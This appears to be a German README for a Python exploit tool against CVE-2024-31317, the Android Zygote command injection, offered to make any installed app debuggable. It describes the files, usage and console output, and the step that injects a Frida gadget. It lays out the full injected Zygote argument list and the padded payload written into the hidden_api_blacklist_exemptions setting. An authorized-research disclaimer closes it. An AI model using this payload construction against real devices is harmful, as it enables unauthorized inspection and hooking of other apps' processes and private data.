
CVE-2024-31317 Exploit für debuggbare App
Ein Python-basierter Exploit für CVE-2024-31317 (Android Zygote Injection), der jede installierte Android-App debuggbar macht, indem bösartige Zygote-Argumente über die hidden_api_blacklist_exemptions-Einstellung injiziert werden. Enthält optionale Frida-Gadget-Injektion für Runtime-Hooking.
Dieser Exploit nutzt eine Command-Injection-Schwachstelle im Zygote-Prozess von Android aus, um Zielanwendungen mit aktiviertem debuggable-Flag zu starten. Dies ermöglicht JDWP-Debugging und die Inspektion jeder App, ohne Root-Zugriff oder die Debug-Version der App zu benötigen.
Basierend auf der Forschung von: Flankers CVE-2024-31317 Analyse
Wichtige Erkenntnis: "das runtime-flags-Feld in ZygoteArguments kann tatsächlich verwendet werden, um das debuggable-Attribut einer Anwendung zu aktivieren."
runtime-flags=65535, um Debugging zu aktivierenppadb, jdwplibPlatzieren Sie die folgenden Dateien im selben Verzeichnis:
├── CVE-2024-31317-Debuggable.py # Haupt-Exploit-Skript
├── jdwplib.py # JDWP-Client-Bibliothek
├── app-debug.apk # Debuggable Helfer-App
├── frida-gadget-android-*.so # Frida-Gadget (optional)
├── frida-gadget.config.so # Frida-Konfiguration (optional)
└── win32/adb.exe # Windows ADB-Binärdatei
python CVE-2024-31317-Debuggable.py
Das Skript fordert Sie zur Auswahl eines Parametererkennungsmodus auf:
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]:
Phase 1: startSeq extrahieren
startSeq-Wert aus Stack-FramesPhase 2: Zygote-Argumente injizieren
runtime-flags=65535 (debuggable)hidden_api_blacklist_exemptions-EinstellungPhase 3: Post-Exploitation
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]: 1
[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701
Inject Frida? (y/N):
Bearbeiten Sie die Konstanten am Anfang des Skripts:
TARGET_APP = "com.debug.configurator" # Ändern Sie dies zu Ihrem Zielpaket
DEBUG_APP = "com.debug.app" # Helfer-Debuggable-App
DEBUG_APK = "app-debug.apk" # APK-Datei für die Helfer-App
Auto-Erkennungsmodus (empfohlen):
pm list packages -U, um die UID zu erhaltendumpsys package, um Befehlssatz und Datenverzeichnis zu ermittelnFest codierter Modus:
Nach erfolgreichem Exploit können Sie optional das Frida-Gadget injizieren:
Inject Frida? (y/N): y
Das Skript wird:
frida-gadget.so nach /data/local/tmp/ schiebenrun-as in das Datenverzeichnis der App kopierenDas Skript probiert diese Breakpoints in der Reihenfolge ihrer Zuverlässigkeit:
Die oberen Breakpoints sollten automatisch auslösen. Falls sie auslaufen, tippen Sie auf die App, um die Fallback-Breakpoints auszulösen.
Nach erfolgreicher Injektion:
# Verbindung zum Gadget
frida -H 127.0.0.1:27042 -n Gadget
# Prozesse auflisten
frida-ps -H 127.0.0.1:27042
Sobald der Exploit erfolgreich ist, läuft die Ziel-App mit aktiviertem Debugging:
Mit JDWP-Debugger verbinden:
jdb -attach localhost:8701
Android Studio Debugger verwenden – An den Prozess auf dem weitergeleiteten Port anhängen
Frida verwenden – Falls das Gadget über das Skript injiziert wurde
CVE-2024-31317 ist eine Command-Injection-Schwachstelle im Zygote-Prozess von Android. Durch Manipulation der hidden_api_blacklist_exemptions-Systemeinstellung mit speziell präparierter Eingabe können wir beim Start einer App beliebige Zygote-Argumente injizieren.
startSeq-Extraktion: Jeder App-Start hat eine eindeutige Sequenznummer. Wir extrahieren diese aus einer debuggable App über JDWP, indem wir Stack-Frame-Variablen inspizieren.
Payload-Konstruktion: Wir erstellen Zygote-Argumente einschließlich:
--runtime-args
--setuid=<target_uid>
--setgid=<target_gid>
--runtime-flags=65535 # Aktiviert alle Debug-Flags
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=<package>
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=<arch>
--app-data-dir=<data_dir>
--package-name=<package>
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=<startSeq+1>
Injektion: Der Payload wird mit spezifischem Padding für Android 12+ in die Systemeinstellung injiziert:
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
Auslösung: Ziel-App zwangsweise stoppen und neu starten, die dann mit unseren injizierten Argumenten und aktiviertem debuggable-Flag startet.
Die Frida-Injektion funktioniert wie folgt:
Runtime.load() verwendet, um die Frida-Gadget-Shared-Library zu laden"Failed to get startSeq"
"No breakpoint hit" während der Frida-Injektion
Frida-Verbindung verweigert
adb forward --listadb forward tcp:27042 tcp:27042Dieses Tool dient ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken. Verwenden Sie es nur auf Geräten, die Ihnen gehören oder für die Sie ausdrückliche schriftliche Erlaubnis zum Testen haben. Unautorisierter Zugriff auf Computersysteme ist illegal und unethisch. Die Autoren übernehmen keine Verantwortung für Missbrauch dieses Tools.
MIT-Lizenz – Einzelheiten siehe LICENSE-Datei.
| Klasse | Methode | Auslöser |
|---|
android.os.MessageQueue | next | Automatisch – Haupt-Looper pollt ständig |
android.os.Binder | execTransact | Automatisch – jeder IPC/Binder-Aufruf |
android.app.ActivityThread | handleMessage | Automatisch – Haupt-Handler der App |
android.os.Handler | dispatchMessage | Automatisch – Nachrichtenverteilung |
android.os.Handler | handleMessage | Automatisch – Nachrichtenverarbeitung |
android.view.Choreographer | doFrame | Automatisch – Frame-Callbacks |
android.view.View | dispatchTouchEvent | Manuell – erfordert Berührung |
android.view.View | onDraw | Manuell – erfordert UI-Neuzeichnung |